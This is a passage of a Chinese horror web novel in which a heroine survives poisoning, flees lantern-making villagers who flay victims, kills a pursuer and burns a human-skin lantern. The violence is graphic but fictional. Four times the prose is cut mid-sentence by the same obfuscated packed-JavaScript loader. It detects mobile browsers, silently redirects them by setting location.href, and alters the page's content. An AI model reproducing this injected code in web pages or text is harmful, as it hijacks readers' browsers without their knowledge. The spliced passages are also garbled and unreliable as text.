初与序低头望去,井底的水面漆黑如墨,赵四的挣扎搅动出浑浊的漩涡,白净的衣衫上全是脏污和血水,他抬头瞪着自己,眼里淬了毒似的恨。 “你当我陪你玩过家家呢?”初与序慢条斯理底抚平皱巴巴的衣服,“想杀了我?” “贱人!你早就——” 初与序捡起一块碎转掂了掂,轻笑一声:“你说的密道根本走不出去吧?否则你早就离开这里了。” 砖块脱手而下,擦着赵四的耳朵砸进水里,溅起一团泥浆。赵四咒骂着缩进井壁凹陷处,再不敢露头。 可惜着井里有水,摔不死人,但他一时半会也爬不出来。 动静很快迎来了附近的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969504|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村民,初与序听见杂乱的脚步声逼近,立刻调整呼吸回头看去。几个村民举着火把冲过来,为首的正是早晨说话的瘦高男人,他喝道:“怎么回事?!” “刚才不小心弄伤了,没什么事。”初与序笑了笑,指着肩膀流血的伤口,“麻烦你们了,抱歉。” 井底的赵四想开口说话,初与序后退一步,脚下轻轻一踢,又是一块碎砖被踢入井里,狠狠砸到额头,疼得他说不出话。 瘦高男人瞥了她一眼,没有多想:“客人受伤了,回去歇着吧,赶快包扎一下伤,晚上......还有庆典呢。” 初与序微微颔首,跟着村民们离开,回到客栈。 夜色已深,客栈大堂里只点着一盏油灯,火光摇曳,将老板娘的身影拉得老长。她正低头缝补一件旧衣,针线在布料间穿梭。 初与序推门而入,带着一缕潮湿的夜风。老板娘抬起头,浑浊的眼珠在灯下泛着黄光:“姑娘回来啦?咦?肩膀是不是受伤了?” “是的。”见伤口被发现,初与序微微一笑,左手轻轻按住右肩,指缝间渗出暗红的血迹,“不小心划伤了,想跟您讨些绷带和伤药。” 老板娘眯起眼,目光在她伤口处停留片刻,笑道:“年轻人就是莽撞......等着,我去拿。” 她慢吞吞地起身,拖着步子往后屋走。初与序站在原地,指尖无意识地摩擦着袖中藏着的纸页。肩上的伤口火辣辣地疼,血已经浸透了里衣,湿漉漉地贴在皮肤上。 “坐下吧。”老板娘很快回来,手里捧着一个褪色的漆盒,盒盖上积着层薄灰。 初与序坐到长凳上,解开衣领,露出那道刀伤,伤口边缘泛白,但血却仍缓缓往外渗。 “啧,伤得不轻啊。”老板娘从漆盒里取出一个小瓷瓶,拔开塞子,倒出些药粉,那粉末散发出一股刺鼻的腥味。 “且慢。”初与序轻轻按出老板娘的手腕,“伤口不用药,用布条缠一下就行。” 老板娘脸上的笑容僵住,她死死盯着初与序,语气不容拒绝:“这怎么行?这就是普通的止血药粉,你看你这伤还在流血呢。” 初与序与她僵持了几秒,最终还是任由她把药粉撒在伤口上。药粉接触血肉的瞬间,传来一阵灼烧般的刺痛,她连眉头都没皱一下,垂眸看了一眼药粉,什么都没说。 老板娘咧嘴一笑:“忍忍,这药见效快。” 她又用一块布擦去多余的血迹,取出绷带,一圈一圈缠上初与序的肩膀。绷带是粗麻制的,摩擦着伤口,带来另一种钝痛。 “好了。”老板娘拍了拍手,“这几天别碰水,小心伤口溃烂。” “多谢您了。”初与序轻声道谢。 老板娘盯着她,忽然压低声音:“姑娘这伤......不像是自己划的吧?” 初与序解释:“路上遇到野狗,惹了它,被咬了一口。” 老板娘咯咯笑起来,笑声像是从喉咙里挤出来的:“这年头,野狗可比人多凶多了。” 初与序微微一笑,不置可否。她起身告辞,转身往楼上走去。能感觉到肩上的伤口开始发麻,像是有什么东西正顺着血液往身体里钻。但眼下不是处理的时候。 “姑娘,晚上灯笼祭典,就在客栈前门,记得来参加!”后方传来老板娘的声音。 初与序没回头。 5. 灯影诡村 房门关紧的刹那,初与序的指尖已经探向伤口。绷带下的皮肤传来异样的灼热感,像无数细小的虫蚁在血肉里爬行。她单手解开绷带,露出下面已经泛黑的伤口。 果然下毒了,老板娘的药粉根本不是止血疗伤用的。再拖下去,整条胳膊都会废掉。 她环顾房间,目光落在桌上的茶壶上。壶里的水早已冷透,但勉强能用。她从怀中摸出刚顺手偷来的缝衣针,将银针在烛火上烤过,针尖泛起冷光。 她将针尖刺入伤口边缘,一点点挑开腐烂的皮肉。黑血顺着胳膊滴落,剧痛让她额角渗出冷汗,但她的手很稳,每一针都精准地剜去毒血浸染的部分。 【玩家初与序,此毒需解药。】面板自动打开,系统提醒道。 “我知道。”初与序想了想,又问道,“现在不能出去找解药,你有没有盐?可以暂时压住毒。” 【有是有,但是需要用积分兑换,你现在身无分文。】 初与序沉默片刻:“通关副本有奖励吧?我把奖励品给你,比积分划算多了。” 系统静了一会,一小包盐凭空出现在桌上。初与序笑了笑,将茶壶里的冷水浇上伤口,冲去污血,也带来短暂的麻木。她打开盐,盐粒洒在伤口上的瞬间,剧痛如烈火灼烧,但黑色的血终于开始转红。 她撕下干净的布料,重新包扎伤口,没再用老板娘给的任何东西。肩上的伤口仍在隐隐作痛,但至少不再溃烂。 烛火摇曳,初与序从袖中抖出残页,光映得纸页上的字迹忽明忽暗。初与序盯着残页上的记载,细细研读: 「灯者,纳魂之器;皮者,载怨之衣。以恨为芯,以痛为油,可照幽冥之路,可续阳世之寿。」 「择活人一名,缚于灯架,以井水浸其身,使皮肉分离。自喉下剖寸许,沿肌理徐徐剥之,务求完整,不可破损。若祭品哀嚎过甚,可剪其舌。」 「新剥人皮需以陈醋浸泡三日,去其腥气。后绷于竹骨,阴干七日,期间以人血涂其内壁,保皮色鲜亮如生。」 「寻常灯笼,一皮足矣;唯客栈主灯,需以“恨火”为芯。择怨毒最深者,诱其手刃挚爱,剜心献祭。其恨意入灯,可燃百年不灭。」 「今选赵氏子,其慕外乡女而不得,可蛊之。」 「每岁灯笼节,需添新皮一盏。持灯者可得皮主十年阳寿,然祭品魂魄永困灯中,不得超生。」 最后一行被血污浸染: 「若大灯被毁,则......」 初与序的思绪飞转,赵四想杀自己,村民想剥自己的皮,现在连老板娘给的药都有问题,真是步步紧逼。 她指尖轻点“恨火”二字,若有所思。 如果大灯笼需要怨恨最深的人作为祭品,那么反过来想:如果毁了祭品,灯笼就点不燃。可赵四现在被困在井里,凭他的本事一定能出来。即使出不来,村民也迟早会找到他...... 不,不对。 赵四只是被蛊惑的棋子,真正的“怨恨”源头,恐怕是那些被做成灯笼的亡魂,包括李二和王三。如今祠堂已经烧了,另一个重要地点估计就是自己现在所处的客栈。 她望向窗外,那盏巨大的红灯笼高悬在客栈门口,在夜色中散发着妖异的光。初与序重新收起纸页,吹灭蜡烛,在黑暗中静静等待灯笼祭典的开始。 午夜,风诡异地停了。 整个村子陷入一种诡异的寂静,连虫鸣都消失了,仿佛万物屏息,等待着什么不可名状的东西降临。 初与序站在客栈二楼的窗边,用手指轻轻挑开一道缝隙,冷眼望向外面。 她的视力不好,尤其是右眼。在客栈大门口灯笼刺眼的红光中,她勉强看清了一切: 客栈前的空地上,村民们已经聚集。他们穿着暗红色的粗布衣,或许本来就是红色,又或许是被经年累月的血迹浸透。男女老少,无一缺席,每个人的脸上都戴着粗糙的木质面具,惨白的底色上用黑墨勾勒出夸张的五官,嘴角一律上扬,露出永恒不变的诡异笑容。 他们围成一个巨大的圆圈,中央摆着两张木架。 木架上,挂着两具“东西”——从灯笼上重新剥下的李二的皮,和昨晚王三的皮。 新鲜完整的人皮,在夜风中微微晃动,像两件被晾晒的衣裳。皮下血肉尽去,只剩一层薄薄的、半透明的组织,在月光下泛着尸蜡般的青白石。他们的脸皮也被完整保留,眼洞和嘴巴空洞地张着,仿佛仍在无声惨叫。 村民们开始低吟。 那声音起初很轻,像是从地底渗出来的,带着黏腻的、潮湿的腐朽感。渐渐地,音调拔高,变成一种扭曲的诵唱,音节破碎却节奏分明,像是某种古老的邪恶祷词。 “皮为灯,骨为架,魂作火......” 随着吟诵,四个壮汉抬着一盏巨大的灯笼骨架走上前来。那骨架由人骨拼接而成,惨白的指骨为钩,腿骨为柱,颅骨悬在顶端,空洞的眼窝俯视众生。 他们小心翼翼地将李二的皮展开,蒙在骨架上。人皮触碰到骨头的瞬间,竟像活物般自动贴合,边缘蠕动着“缝合”自己。皮上的脸正好对准灯笼正面,李二空洞的眼眶直勾勾地“盯”着人群。 接着是王三的皮,被裁成长条,缠绕在灯笼骨架上,像某种恶心的装饰。 吟诵声越来越急,越来越响,村民们的身体开始有规律地摇晃,面具下的眼睛翻白,嘴角流出涎水。 “恨为芯,怨为油,点亮千年不灭灯......” 一个佝偻的老者,大概是村长,手持火把走上前。他的面具比其他人的更精致,额头上刻着一只睁开的眼睛。 他高举火把,猛地插进灯笼顶部! “轰!” 灯笼内部瞬间燃起幽绿色的火焰,火光透过人皮,将李二和王三的脸映得忽明忽暗。他们的五官在火种扭曲,仿佛正承受着无尽的痛苦。 灯笼亮起的刹那,初与序清晰地看到,李二那张皮上的嘴,缓缓咧开,露出了一个笑容。 “啊......啊......” 微弱的、非人的呻吟从灯笼里传来,像是无数灵魂被挤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969505|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压在一起发出惨叫。 村民们疯狂了,他们跪倒在地,对着灯笼磕头,额头撞出血也不停。有人撕开自己的衣服,用指甲在胸口抓出血痕;有人抱在一起痛哭,眼泪混着鼻涕糊在面具上。 而灯笼的光,越来越亮。 。 那光不再是刺眼的大红,而是阴森的惨绿,照在村民身上,将他们的影子拉长、扭曲,变成各自非人的形状:有的像多足的虫,有的像无头的鸟,有的干脆是一团蠕动的肉块。 初与序的肩伤突然剧痛起来,她本能地伸手捂住伤。下一刻,诵唱声戛然而止。 所有村民同时抬头,面具下的眼睛齐刷刷盯着客栈二楼,目光落到初与序所在的窗口。 “她在那儿——!” 一声嘶吼划破死寂,人群瞬间暴动! 系统面板再一次自动跳出: 【恭喜玩家初与序触发终极危机事件——「人皮灯笼 血祭之夜」。】 【村民已完成基础祭品(李二,王三)献祭,但最终仪式需以“怨恨之血”为引。您的皮,才是真正的压轴戏。】 【玩家初与序当前身体状态:】 【左肩刀伤(中度流血):赵四的匕首残留铁锈(移动速度-10%)。】 【药粉毒素侵蚀(神经麻痹):老板娘的药粉含蛊毒,暂时压制,需在十二小时内找到解药(精密操作失败率+30%)。】 【理智值:???(很奇怪,您似乎很理智,又很疯狂)。】 【村民当前状态:】 【狂化(祭典加持):力量/速度+50%,肢体可短暂再生,无视昼夜限制。】 【感知锁定:已通过灯笼标记您的血气。】 【主线任务更新:存活至第三日午夜,并摧毁“灯芯”。】 【警报!警报!逃离客栈!村民将于2分钟内突破二楼房门!】 村民们抄起剥皮刀、草叉、锈斧,沉默而迅速地冲向客栈。木梯被踩得吱呀作响,脚步声如潮水般涌上来,越来越近,越来越急。 初与序不急不慢转身,对着烛台上的火苗轻轻吹了口气,烛火被吹灭,黑暗笼罩了整个房间,只有窗外微弱的月光勉强照亮房间。 “砰!!!” 门板被踹得四分五裂,木屑飞溅。第一个冲进来的村民身形佝偻,手里的剥皮刀寒光森森。他面具下的眼睛在黑暗中泛着诡异的绿,像极了灯笼里的光。 他焦急地左右看了看,寻找初与序的身影。可房间里空无一人,只有大开的窗户,夜风卷着血腥气灌进来,吹得破窗帘作响。 初与序早已翻出窗外,单手勾住屋檐,身形轻巧地一荡,稳稳落在隔壁离得最近的屋顶上方。 她回头扫了一眼,客栈二楼窗户挤满了狂化的村民,他们扒着窗框,朝自己看去,面具在月光下惨白如鬼,却无人敢跳下来,而是选择立刻原路返回,往这边冲来。 她勾起唇角,转身隐入夜色。 身后,人皮灯笼的红光越来越亮,将整个村子映成一片血域。 6. 灯影诡村 夜风里充满了血腥味,初与序疾步穿过狭窄的巷弄,身后村民的脚步声如附骨之疽。左肩的伤口隐隐作痛,但她的呼吸依旧平稳,似乎早已习惯了疼痛。 路过井口,就在她即将拐入另一条岔路时: “唰!” 脚踝骤然一紧,被牢牢控制住。 一只冰冷苍白的手从井口伸出,如铁钳般死死扣住她的脚腕。那触感湿滑,像是泡胀的腐尸,指甲深深掐进她的皮肉,几乎要剜出骨肉。初与序猛地低头看去。 是赵四。 他半个身子爬出了井口,浑身是血,衣裳浸满井水,皮肤发白,青灰色的血管在皮下清清楚楚。湿透的黑发披散,几缕发丝半遮住他的面容,却遮不住那双充血的眼睛。 赵四的眼白爬满血丝,瞳孔缩成针尖大小,死死钉在初与序身上,怨毒得几乎要烧穿她的骨肉,仿佛要把她的模样刻进地狱里。他的嘴角扯出一个癫狂的大笑,声音嘶哑破碎,每吐出一个字,就有黑红的血从口中溢出: “你......以为......逃得掉......?” 他的手越收越紧,指甲几乎嵌入初与序的皮肉。初与序能感觉到冰凉的井水顺着自己的脚踝往下淌,皮肤上已经出现一小片淤青。 她没动,只是静静地看着赵四,眼底一片冷寂。 ......靠,这玩意怎么在这种时候爬出来了。 夜风掠过,井底传来细微的、指甲抠抓石壁的声音,窸窸窣窣,像是有什么东西正顺着井壁往上爬。初与序眸光一冷,抬脚便朝他的面门狠狠踹去。 赵四却猛地侧头躲开,鞋子只擦过他的耳际,溅起几滴井水。他的喉咙里挤出一声嘶哑的怪笑,另一只手也扒住井沿,指甲里充满了鲜血,缓缓流下。 他浑身血淋淋地往上爬,每挪动一寸,就有黑红的血水从皮肤里渗出,滴落在井沿上。初与序忍不住皱眉,暗骂一声,正要再补一脚。 “在那里!!” 身后巷口,村民的嘶吼骤然炸响。她余光一扫,至少五六个人影正狂奔而来,手中的剥皮刀在月光下泛着森白的寒光。最前面的那个已经抬起手,刀尖直指她的后背。 她不再恋战,猛地抽腿。 赵四的指甲在她脚踝上刮出几道血痕,却终究没等抓牢。初与序后撤两步,转身就朝更深处的巷子冲去。 夜风呼啸,她的身影掠过狭窄的巷道。身后,赵四的咆哮和村民的脚步声混杂在一起,越来越远。 “初与序——!!我要亲手剥了你的皮!” 她头也不回地拐过一个弯,呼吸在胸膛里烧灼,每一次吸气都能闻到空气里腐烂灯笼油的气味。前方传来村民杂乱的脚步声,她猛地停下,后背撞上潮湿的砖墙。 眼前三条岔路都被红光浸染,后面的赵四等人也在赶来,那些提着人皮灯笼的村民正从四面八方围拢过来。 “这边!”赵四嘶哑的声音突然从右侧巷子炸响。他半个身子探出阴影,手里竟也提着一盏小灯笼。那是他用自己左手皮新制的,指骨还吊在灯穗上摇晃。 【再次警告!灯笼的光会灼烧玩家!】 客栈大灯笼的红光像活物般在地面蠕动,所过之处的青砖“滋滋”冒烟。初与序的衣袖刚沾到光晕,立刻卷曲发黑,皮肤传来烙铁般的剧痛,烫红了一片。 她后退一步,一块墙皮突然在头顶炸开。某个狂化村民正用草叉凿击墙面,他的眼球凸出眼眶,血管在红光里泛着诡异的颜色。 “剥开她!!!” “要完整的!!!” 沙哑的絮语在巷道响着,初与序的目光落在那些红光上,忽然发现那些红光在编织罗网:左侧灯笼映出的血线正与右侧光束交织,渐渐形成封闭的牢笼。她立刻抓起地上一截断骨扔向最近的光源,“啪”地打歪了灯笼角度,在死亡光束合拢前冲进唯一缺口。 赵四的灯笼突然暴涨,那截断指骨穗子“咔咔”扭动起来,指引着初与序的方向。她随便撞开一扇腐朽的木门,发现自己置身祠堂偏厅。满地都是中午没烧完的经幡,而门外红光正如潮水漫过门槛。 被灯笼找到的村民影子开始自主行动:一个老妇的影子突然伸长脖子,蛇般缠上初与序的脚踝;屠夫的影子举起虚幻的砍刀,朝她后颈劈来。看着这些,初与序感觉自己san值狂掉,不得不持续移动,躲避实体与影子的双重追杀。 她的目光迅速锁定了角落,那里立着一个半满的水桶,浑浊的井水微微晃动。也管不了那么多,她一个箭步冲上去,一脚踹翻水桶! “哗啦”一声,井水泼洒而出,如一道污浊的瀑布般冲向最近的三盏灯笼。 刺耳的腐蚀声炸响,灯笼触水的瞬间,幽绿色的火焰疯狂扭动,人皮灯罩如活物般抽搐微缩。提灯的村民发出非人的惨叫,他们的手与灯笼接触处冒出滚滚黑烟,皮肉如蜡般融化。 “啊啊啊啊——我的手!我的手!!” 一个壮汉疯狂甩动胳膊,却甩不脱燃烧的灯笼架,火焰顺着手臂窜上肩膀,将他变成惨叫的火人。另外两个人丢开灯笼后退,可他们的影子却被残留的红光钉在原地,双腿如陷泥沼。 混乱中,初与序已闪身到祠堂正屋。 忽然,赵四从火焰中冲出,浑身裹着黑烟,皮肉被烧得焦黑翻卷,却仿佛感觉不到痛。他右手握着剥皮刀,刀刃在火光中泛着森冷的寒光。 “你还不死?”初与序后撤半步,脚跟抵住墙角。 没有任何武器,左肩的伤口还在渗血,甚至右眼因为小时候的事,视力受损看不清东西。但她只是微微调整呼吸,眼神冷静得可怕。 赵四似乎是吸取了上次的经验,没有多说,直直扑上来。他的刀法狠辣精准,猛地一刀刺向初与序心口。初与序侧身抓住他手腕,借力一拧,赵四却狞笑着反手一肘,重重撞在她左肩伤处! 剧痛炸开,她的视线短暂模糊了一瞬,但身体已经本能地矮身翻滚,避开了紧随而至的横劈。刀锋砍进木柱,木屑飞溅。 赵四拔刀再攻,刀光如网,逼得初与序连连后退。他的攻势越来越疯,刀刀致命,嘴角咧开扭曲诡异的笑容: “不是说我蠢吗?但你现在要被我杀死了啊!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969506|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 初与序的背撞上墙壁,退无可退。赵四喘了口气,高高举起刀,眼中闪烁着癫狂的兴奋。 刀锋割裂空气发出尖啸,初与序猛地侧身闪避,刀刃擦着脖颈划过。未等赵四收势,她飞快抬腿用尽全力狠撞他手腕。 “咔嚓!” 腕骨错位的脆响中,剥皮刀当啷落地,赵四痛吼一声,却借势用肩头将她撞向墙壁。初与序的后背重重装上砖墙,肺里空气被挤空的刹那,赵四的眼中闪过狂喜,另一只手直掐向她喉咙! “抓到你了......” 初与序突然笑了,她任由那只手贴上自己脖颈,却在赵四发力的瞬间,忍着心理不适,猛地低头咬住他虎口。犬齿刺穿皮肉直达指骨,鲜血涌进口腔。赵四惨叫缩手,初与序趁机一记肘击撞向他太阳穴上。 赵四踉跄着后退,初与序追上,右腿横扫将他放倒。他挣扎着要爬起,对方却抢先一脚踩住他右肩某个伤口,鞋底碾进皮肉里。 “呃啊——!” 赵四的惨叫中,初与序俯身揪住他头发,强迫他抬头。祠堂残火映照下,他看见初与序睫毛上沾着血珠,面无表情,眼底却燃烧着烈焰。 “你算个什么东西?”她轻声说。 “赵四,你去死吧。” 赵四的瞳孔剧烈收缩,未及开口,初与序抓着他的头发猛然砸向地面!颅骨撞击青砖的闷响令人牙酸,血花溅上她苍白的脸颊,她闭了闭眼。 远处灯笼的红光连带着赵四的血漫过来,初与序在确认赵四已经真正死亡后松开手,纵身翻出窗外,隐入祠堂后的阴影处,后背紧贴着潮湿的砖墙。直到她亲眼看着那些村民提着灯笼跑远,才终于松开紧绷的神经。 然后她立刻从腰间摸出水囊猛灌两口,吐出混着血丝的污水。接着又灌又吐反复三次,差点把自己呛死,直到舌根发麻、口中再无血腥味才停手,使劲擦了擦嘴角。 【......】 寂静中,半空弹出面板,系统带着感叹号冒出来: 【检测到玩家异常行为!请问玩家初与序——】电子音突然切换成八卦模式:【你真的很嫌弃我们副本的NPC吗?】 初与序将空了的水囊扔掉,点头点得干脆利落:“嗯。” 面板炸出一串乱码:【可赵四的设定是暗恋副本里的你诶!】 “所以更恶心了。”她蹲在墙角恢复体力,“而且血本身就很脏。” 【......可你刚刚咬他的时候,看起来挺果断的。】 初与序面无表情:“这是战术,难道你想眼睁睁看着玩家我变成一具尸体吗?” 远处传来村民的嚎叫,火光将巷子照得忽明忽暗。初与序安静地靠着墙,月光描摹着她的面容。 “这边建议贵系统,”她站起身,忽然开口,“下次给NPC做血液建模时,至少把血换成白开水。” 系统开始怀疑自己的NPC设计的是不是真的有那么糟糕,面板“滋啦滋啦”闪烁,最终自动死机。 初与序抬头看向客栈,门口的红灯笼亮得吓人,她不再休息,抬腿走向那里。 7. 灯影诡村 初与序冲上客栈阁楼,木梯在她脚下发出不堪重负的动静,每一步都像是踩在腐朽的尸骨上,两侧墙面上不知是血还是陈年的灯油。 她抬头看去,在自己头顶上方,那盏巨大的人皮灯笼垂挂在房梁下,李二和王三的脸皮在火光中诡异地蠕动,仿佛还在无声尖叫。 那张从祠堂带回来的纸页上记载的所有内容都被初与序背了下来,其中有两行字她记得很清楚: 「唯客栈主灯,需以“恨火”为芯......」 「若大灯被毁,则......」 此刻灯笼里晃动的幽绿色火焰,让初与序明白了什么。 这里的“火”不是普通的火,而是“恨火”。 客栈楼下传来杂乱的脚步声,村民的嘶吼混着木器倒塌的巨响,他们暂时没有追上来。阁楼唯一的出口就在灯笼正下方,而灯笼的红光如活物般在地板上蔓延,所过之处木板“滋滋”作响,腾起呛人的黑烟。 初与序的目光锁定了墙角那盏铜油灯。她快步上前,指尖刚碰到灯柄—— “轰!!!” 整座阁楼突然剧烈震颤!某个狂化的村民正在楼下用重物撞击重柱。房梁发出断裂声,木屑和灰尘簌簌落下。 初与序差点摔倒,她没有犹豫,一把抓起油灯。灯油所剩不多,但足够了。她深吸一口气,猛地将油灯砸向悬挂的巨灯笼! 铜灯撞上人皮的刹那,幽绿色的火焰如被浇了烈酒,瞬间暴涨!火舌疯狂舔舐灯笼,李二和王三的脸皮在烈焰中扭曲微缩,发出毛骨悚然的“吱吱”声,像是活人在火中惨叫。 在绿火与赤焰中,一颗心脏突然从灯芯处显形,它漆黑溃烂,却仍在跳动,每搏动一次就有脓血从冠脉溅出。火焰舔舐上去时,心脏发出婴儿般的啼哭,随后爆裂成无数蛆虫,在火种扭送着化为灰烬。 灯笼骨架的指骨“噼啪”断裂,整盏灯剧烈摇晃,然后重重坠落。燃烧的灯笼轰然砸向阁楼地板,火星四溅。初与序急退两步,却听见头顶传来不详的“咔嚓”声。 一根断裂的房梁当头砸下! 她只来得及抬起手臂护住双眼,便被沉重的木头狠狠压倒在地。肋骨传来剧痛,嘴里泛起铁锈味,第三次熊熊烈火在客栈蔓延。 整座客栈在一声震耳欲聋的轰鸣中崩塌。 梁柱断裂,瓦砾飞溅,初与序被压在断裂的房梁下,烟尘灌入鼻腔,灼热的空气燃烧着喉咙。她艰难地侧过头,透过木板的缝隙,看见外面的世界正在燃烧。 自己这边,客栈的楼梯在高温中发出痛苦的声响,火焰从窗口喷涌而出,将那些来不及逃走的村民吞噬。一个狂化的男人半边身子被压在倒塌的横梁下,却仍在嘶吼,伸手去够不远处掉落的剥皮刀。 而不远处的祠堂,另一场大火同样肆虐。 初与序之前泼洒的井水和燃烧的经幡,此刻已将整座祠堂变成了一座巨大的火炉。那些悬挂的破旧经幡在烈焰中狂舞,像无数挣扎的亡魂。祠堂的屋顶轰然塌陷,火星如萤火虫般四散飞溅。 整个村子被两处大火夹击,夜空被映照得如同血染。 初与序的视线开始模糊,她咬破舌尖,铁锈味在口腔中蔓延,疼痛让意识短暂清明。随后用尽全力将压在腿上的横梁一寸寸顶起,当最后一点空隙出现的瞬间,她立刻爬了出来。 滚烫的瓦砾灼伤了掌心,她踉跄着站起,看到那些被火焰舔舐的村民正在风化。 他们的皮肤像干涸的泥壳般片片剥落,露出下面漆黑的骨骼,却在尚未完全倒地时就碎成粉末。一个只剩半边身子的老妇人长在爬行,指骨抓过初与序脚边时突然僵住,转眼化作满地黑灰。 但更多的村民从火场外围涌来,他们眼珠浑浊,皮肤因高温鼓起水泡,却依然高举着剥皮刀。只是动作明显迟缓了许多,就像有什么维系他们生命的东西被抽走了。 【警告:距离天亮还有30分钟。】 【玩家当前状态:左肩毒素扩散率37%】 机械化的系统声穿透火焰爆裂声,在初与序耳畔炸开。她眼前浮现半透明的猩红倒计时:29:59,数字每一秒跳动都刺激着初与序的神经。 【村民重置机制启动:天亮时火焰自动熄灭,村民狂化状态解除(仍具攻击性)。】 【因大灯笼被玩家损毁,现存村民数量削减50%,村民攻击速度下降30%。】 【玩家紧急状态:左肩毒素5小时后侵入心脉(剩余解毒时间:04:59:59)。】 【建议玩家现在立即脱离燃烧区域。】 “咳......”初与序咳出血沫,擦去脸上的血和灰,向远处狂奔。系统倒计时在面前闪烁,毒素随着心跳开始向锁骨蔓延,泛起蛛网状的青紫色。 在倒计时结束前,初与序找到了一间废弃柴房,她透过木板的缝隙注视着外面。 天亮了,没有预兆,没有渐变。前一秒还在肆虐的烈火,在晨光刺破云层的瞬间,突然熄灭。客栈和祠堂恢复成没燃烧坍塌前的模样。火焰就像被一只无形的手掐灭,连余温都消散得干干净净,仿佛一切都没有发生。 村子安静了一秒,然后初与序听见了脚步声。 缓慢的、拖沓的脚步声,从每一条巷子里传来。初与序屏住呼吸,看着第一个村民出现在视野里。那是个干瘦的老头,脸上的面具已经摘掉,露出原本的面容。他手里提着一把锈迹斑斑的斧头,斧刃上还沾着不知道谁的血。 接着是第二个、第三个....... 没有被烧死的村民从各个角落里冒出来,他们不再狂化,不再嘶吼,而是彻底撕下的伪装,露出最原本的模样:一群麻木的、腐朽的、却异常清醒的杀人者。 他们手持剥皮刀、草叉、锈斧,慢悠悠地在街巷间游荡,挨家挨户地踹开房门,翻箱倒柜,连地窖都不放过。有人蹲下来,用手指抹过地上的血迹,感受着温度,咧开嘴笑了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969507|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“还活着......” “就在村子里......” 初与序的指尖轻轻扣住夹层的木板,一动不动。 阳光照进村子,本该是温暖的,可落在那些村民身上,却只衬得他们的影子更加扭曲。他们不急不慢地搜索着,甚至还有心情停下来聊几句天。他们知道猎物终究会疲于奔命,认为初与序永远逃不走。 爱唠嗑的系统再次出现:【玩家初与序,一个好消息,一个坏消息,您想先听哪一个?】 初与序懒得搭理它。 【......好消息是,您是这么多年来所有通关玩家中第五个触发全剧情的。】 “哦。”初与序点头,“那坏消息呢?” 【坏消息是,《灯影诡村》副本不是新手副本,我分配错了。】 初与序:“???” 【当然,本系统一定会补偿您的。之前那包盐送给您了,如果能活着通关,得分在原有基础上给您加十分。】 “才十分?一个副本满分多少?” 【满分四十五,十分已经很好了。一分一操场玩家,十分就十操场......】 “我知道了,多谢。”初与序越听这话越觉得耳熟,阻止系统继续说下去。 【那您继续通关,祝您存活愉快。】 晨光斜斜地射进柴房的缝隙,在初与序的睫毛上投下细碎的金影。青紫色的毒纹已经蔓延至锁骨,像一株狰狞的荆棘,随着脉搏微微搏动。 五小时的倒计时已经悬在视野边缘,她轻轻活动手指,确认毒素尚未影响肢体控制,然后从缝隙望向街道。村民们仍在慢悠悠地搜索,比起夜晚的癫狂,此刻的他们更像一群慵懒的野狗,享受着围猎的快感。 毒是老板娘下的,解药一定也在她手里。 初与序记得昨晚老板娘递来的药粉,女人的指甲缝里藏着同样的青黑色污渍,装药的漆盒边缘还有暗红的指纹,像是长期接触某种腐蚀性物质留下的痕迹。 关键的是,当其他村民疯狂追杀自己时,老板娘始终站在客栈门口,嘴角挂着胜券在握的笑。 她早知道自己会中毒,而且她不仅在药粉里下了毒,也在自己房间的红灯笼里下了毒,吸入便会渐渐中毒,真是下了死手。 远处传来木门被踹开的巨响,搜查的村民已经逼近隔壁院落。初与序无声地走出柴房。晨雾未散,她借着雾气的遮掩,贴着墙根向客栈移动。 客栈恢复原样,朱漆大门完好无损,檐下的红灯笼轻轻摇晃,被撞碎的窗框也复原如初。 初与序绕到客栈后侧,发现厨房的矮窗虚掩着,窗户上沾着新鲜的油渍,显然刚有人进出过。她的指尖搭上窗沿,忽然顿住。 窗框内侧系着一根几乎透明的丝线,末端拴着个小铜铃。若贸然推开,铃声立刻会惊动整间客栈。她没有着急动作,而是仔细地观察着这根丝线,发现丝线好像可以用东西挑开,还不会发出任何动静。 8. 灯影诡村 